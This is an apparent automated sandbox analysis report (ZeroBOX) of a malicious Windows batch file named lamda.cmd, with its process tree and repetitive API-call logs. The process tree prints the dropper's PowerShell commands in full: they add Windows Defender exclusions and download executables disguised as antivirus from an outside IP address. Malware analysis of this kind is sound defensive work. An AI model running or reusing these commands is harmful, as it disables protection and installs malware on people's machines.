Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	June 19, 2024, 9:35 a.m.	June 19, 2024, 9:46 a.m.

Size	2.4KB
Type	DOS batch file, ASCII text, with CRLF line terminators
MD5	`1220872b5a60851b40457bfa168f34f2`
SHA256	`b74d534d202ae38bd87147dfbb9a39cc1c8782cfcf0df25eba7948cfbeac2ad3`
CRC32	`59964FF9`
ssdeep	`48:3hieAOUf1QvS1jdf9lVUUPbYEOH6xQWpiXpJSbJN6J4ZJjsJu883W7:FbgF9lGEbY4piji+qq2W`
Yara	Antivirus - Contains references to security software

cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "HihU" C:\Users\test22\AppData\Local\Temp\lamda.cmd
1256
- cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\test22\AppData\Local\Temp\lamda.cmd
  2084
  - powershell.exe powershell -Command "New-Item -ItemType Directory -Force -Path 'C:\RM'"
    2184
  - powershell.exe powershell -Command "New-Item -ItemType Directory -Force -Path 'C:\Programlog'"
    2300
  - powershell.exe powershell -Command "New-Item -ItemType Directory -Force -Path 'C:\Programlog1'"
    2396
  - powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\RM'"
    2484
  - powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Programlog'"
    2616
  - powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Programlog1'"
    2696
  - powershell.exe powershell -Command "Invoke-WebRequest 'http://80.76.49.148/LgGFdDAm/AntiVirus.exe' -OutFile 'C:\RM\AntiVirus.exe'"
    2780
  - powershell.exe powershell -Command "Invoke-WebRequest 'http://80.76.49.148/LgGFdDAm/AntiVirus2.exe' -OutFile 'C:\RM\AntiVirus2.exe'"
    2932
  - powershell.exe powershell -Command "Invoke-WebRequest 'http://80.76.49.148/LgGFdDAm/AntiVirus3.exe' -OutFile 'C:\RM\AntiVirus3.exe'"
    3068
  - powershell.exe powershell -Command "Invoke-WebRequest 'http://80.76.49.148/LgGFdDAm/AntiVirus4.exe' -OutFile 'C:\RM\AntiVirus4.exe'"
    2188
  - powershell.exe Powershell -Command "Invoke-Webrequest 'http://80.76.49.148/LgGFdDAm/main.exe' -OutFile 'C:\Programlog\main.exe'"
    2452
  - powershell.exe Powershell -Command "Invoke-Webrequest 'http://80.76.49.148/LgGFdDAm/main2.exe' -OutFile 'C:\Programlog\main2.exe'"
    2604

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (50 out of 72 events)

Time & API	Arguments	Status	Return
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 19, 2024, 9:35 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (12 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent June 19, 2024, 9:35 a.m.			0	0
IsDebuggerPresent June 19, 2024, 9:35 a.m.			0	0
IsDebuggerPresent June 19, 2024, 9:35 a.m.			0	0
IsDebuggerPresent June 19, 2024, 9:35 a.m.			0	0
IsDebuggerPresent June 19, 2024, 9:35 a.m.			0	0
IsDebuggerPresent June 19, 2024, 9:35 a.m.			0	0
IsDebuggerPresent June 19, 2024, 9:35 a.m.			0	0
IsDebuggerPresent June 19, 2024, 9:35 a.m.			0	0
IsDebuggerPresent June 19, 2024, 9:35 a.m.			0	0
IsDebuggerPresent June 19, 2024, 9:35 a.m.			0	0
IsDebuggerPresent June 19, 2024, 9:35 a.m.			0	0
IsDebuggerPresent June 19, 2024, 9:35 a.m.			0	0

Command line console output was observed (50 out of 88 events)

Time & API	Arguments	Status	Return
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: The system cannot find the file C:\RM\AntiVirus.exe. console_handle: 0x0000000b	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: Directory: C:\ console_handle: 0x00000023	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: Mode LastWriteTime Length Name console_handle: 0x0000002f	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: d---- 2024-06-19 오전 9:35 RM console_handle: 0x00000037	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: Directory: C:\ console_handle: 0x00000023	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: Mode LastWriteTime Length Name console_handle: 0x0000002f	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: d---- 2024-06-19 오전 9:35 Programlog console_handle: 0x00000037	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: Directory: C:\ console_handle: 0x00000023	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: Mode LastWriteTime Length Name console_handle: 0x0000002f	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: d---- 2024-06-19 오전 9:35 Programlog1 console_handle: 0x00000037	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: The term 'Add-MpPreference' is not recognized as the name of a cmdlet, function console_handle: 0x00000023	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: , script file, or operable program. Check the spelling of the name, or if a pat console_handle: 0x0000002f	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: h was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: At line:1 char:17 console_handle: 0x00000047	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: + Add-MpPreference <<<< -ExclusionPath 'C:\RM' console_handle: 0x00000053	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: + CategoryInfo : ObjectNotFound: (Add-MpPreference:String) [], Co console_handle: 0x0000005f	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: mmandNotFoundException console_handle: 0x0000006b	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000077	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: The term 'Add-MpPreference' is not recognized as the name of a cmdlet, function console_handle: 0x00000023	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: , script file, or operable program. Check the spelling of the name, or if a pat console_handle: 0x0000002f	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: h was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: At line:1 char:17 console_handle: 0x00000047	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: + Add-MpPreference <<<< -ExclusionPath 'C:\Programlog' console_handle: 0x00000053	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: + CategoryInfo : ObjectNotFound: (Add-MpPreference:String) [], Co console_handle: 0x0000005f	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: mmandNotFoundException console_handle: 0x0000006b	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000077	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: The term 'Add-MpPreference' is not recognized as the name of a cmdlet, function console_handle: 0x00000023	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: , script file, or operable program. Check the spelling of the name, or if a pat console_handle: 0x0000002f	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: h was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: At line:1 char:17 console_handle: 0x00000047	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: + Add-MpPreference <<<< -ExclusionPath 'C:\Programlog1' console_handle: 0x00000053	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: + CategoryInfo : ObjectNotFound: (Add-MpPreference:String) [], Co console_handle: 0x0000005f	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: mmandNotFoundException console_handle: 0x0000006b	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000077	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: The term 'Invoke-WebRequest' is not recognized as the name of a cmdlet, functio console_handle: 0x00000023	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: n, script file, or operable program. Check the spelling of the name, or if a pa console_handle: 0x0000002f	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: th was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: At line:1 char:18 console_handle: 0x00000047	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: + Invoke-WebRequest <<<< 'http://80.76.49.148/LgGFdDAm/AntiVirus.exe' -OutFile console_handle: 0x00000053	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: 'C:\RM\AntiVirus.exe' console_handle: 0x0000005f	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: + CategoryInfo : ObjectNotFound: (Invoke-WebRequest:String) [], C console_handle: 0x0000006b	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: ommandNotFoundException console_handle: 0x00000077	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000083	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: The term 'Invoke-WebRequest' is not recognized as the name of a cmdlet, functio console_handle: 0x00000023	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: n, script file, or operable program. Check the spelling of the name, or if a pa console_handle: 0x0000002f	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: th was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: At line:1 char:18 console_handle: 0x00000047	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: + Invoke-WebRequest <<<< 'http://80.76.49.148/LgGFdDAm/AntiVirus2.exe' -OutFil console_handle: 0x00000053	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: e 'C:\RM\AntiVirus2.exe' console_handle: 0x0000005f	1	1
WriteConsoleW June 19, 2024, 9:35 a.m.	buffer: + CategoryInfo : ObjectNotFound: (Invoke-WebRequest:String) [], C console_handle: 0x0000006b	1	1

Uses Windows APIs to generate a cryptographic key (50 out of 540 events)

Time & API	Arguments	Status	Return
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002db900 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002db980 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002db980 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002db980 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002dc200 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002dc200 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002dc200 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002dc200 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002dc200 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002dc200 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002db980 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002db980 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002db980 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002dbac0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002dbac0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002dbac0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002dc2c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002dbac0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002dbac0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002dbac0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002dbac0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002dbac0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002dbac0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002dbac0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002dbb40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002dbb40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002dbb40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002dbb40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002dbb40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002dbb40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002dbb40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002dbb40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002dbb40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002dbb40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002dbb40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002dbb40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002dbb40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002dbb40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002dbe80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002dbe80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002dbe80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002dbe80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00527dc8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00527f08 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00527f08 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00527f08 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00527708 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00527708 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00527708 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 19, 2024, 9:35 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00527708 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx June 19, 2024, 9:35 a.m.		1	1	0

Allocates read-write-execute memory (usually to unpack itself) (50 out of 1641 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 458752 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02450000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02480000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72fd1000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024da000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72fd2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024d2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024e2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02481000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02482000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0258a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024e3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024e4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025db000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025d7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024db000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02582000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025d5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024e5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 19, 2024, 9:35 a.m.	process_identifier: 2184 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0258c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
